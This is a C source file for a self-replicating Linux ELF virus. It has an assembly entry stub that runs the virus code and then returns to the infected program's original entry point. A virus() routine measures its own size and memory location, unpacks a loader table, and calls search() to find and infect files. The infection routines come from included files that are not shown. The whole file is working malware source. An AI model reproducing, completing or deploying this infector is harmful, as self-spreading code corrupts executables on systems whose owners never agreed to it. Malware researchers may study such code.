#include <stdint.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>

#include "../Loader/loader.h"
#include "../h/malloc.h"

typedef struct _cell cell_t;
struct _cell{
	int len;
	uint8_t *ptr;
	cell_t *next;
};

typedef struct {
	int size;
	void *self;
	/* malloc */
	Header base;			/* empty list to get started */
	Header *freep;			/* start of free list */	
	void *lastbrk, *savebrk;
	/* loader */
	cell_t loader[NCMDS];
} globals;

register globals *g asm("ebp");
extern void virus_start;
static void virus_end(void);
asm(	".globl fake_host; fake_host: mov $1, %eax; xorl %ebx,%ebx; int $0x80");
asm(	".globl virus_start; virus_start:\n"
	"call virus; add $24,%esp; popa; .byte 0x68; old_entry: .long fake_host; ret");

#include "../h/syscalls.h"
#include "../h/infect.h"
#include "../h/mlde32.h"
#include "../h/crc32.c"
#include "../h/strings.c"
#include "../h/malloc.c"

#ifdef	DEBUG
#include "debug.c"
#endif

static void free_list(cell_t *list)
{
	cell_t *p, *q;
	if (list == NULL)
		return;
	for (p = list; p; ) {
		q = p;
		p = p->next;
		free(q);
	}
}

#include "insert_virus.c"
#include "check_range.c"

INFECT_INIT
#include "infect.c"
#ifdef	DEBUG
	dump_list(free_space);
#endif
INFECT_FINI

#include "../h/search.c"
#include "../Loader/loader.c"

void virus(uint32_t self)
{
	uint8_t loader[CSIZE], length[LSIZE];
	/* determine our own size and location in memory, init globals */
	globals glob;
	g = &glob;
	g->size = (uint32_t)&virus_end - (uint32_t)&virus_start;
	g->self = __builtin_return_address(0) - 5;
	g->freep = g->lastbrk = g->savebrk = NULL;
	/* "unpack" data */
	mk_data(loader, length);
	int i, l;
	uint8_t *p = loader;
	for (i = 0; i < NCMDS; i++) {
		l = length[i / 2];
		l = i % 2 == 0 ? l >> 4 : l & 15;
		g->loader[i].len = l;
		g->loader[i].ptr = p;
		g->loader[i].next = NULL;
		if (i > 0)
			g->loader[i - 1].next = &g->loader[i];
		p += l;
	}
#ifdef	DEBUG
	dump_list(g->loader);
#endif
	/* do our job */
	search(NULL);

	/* free */
	brk(g->savebrk);
}

static void virus_end(void){};
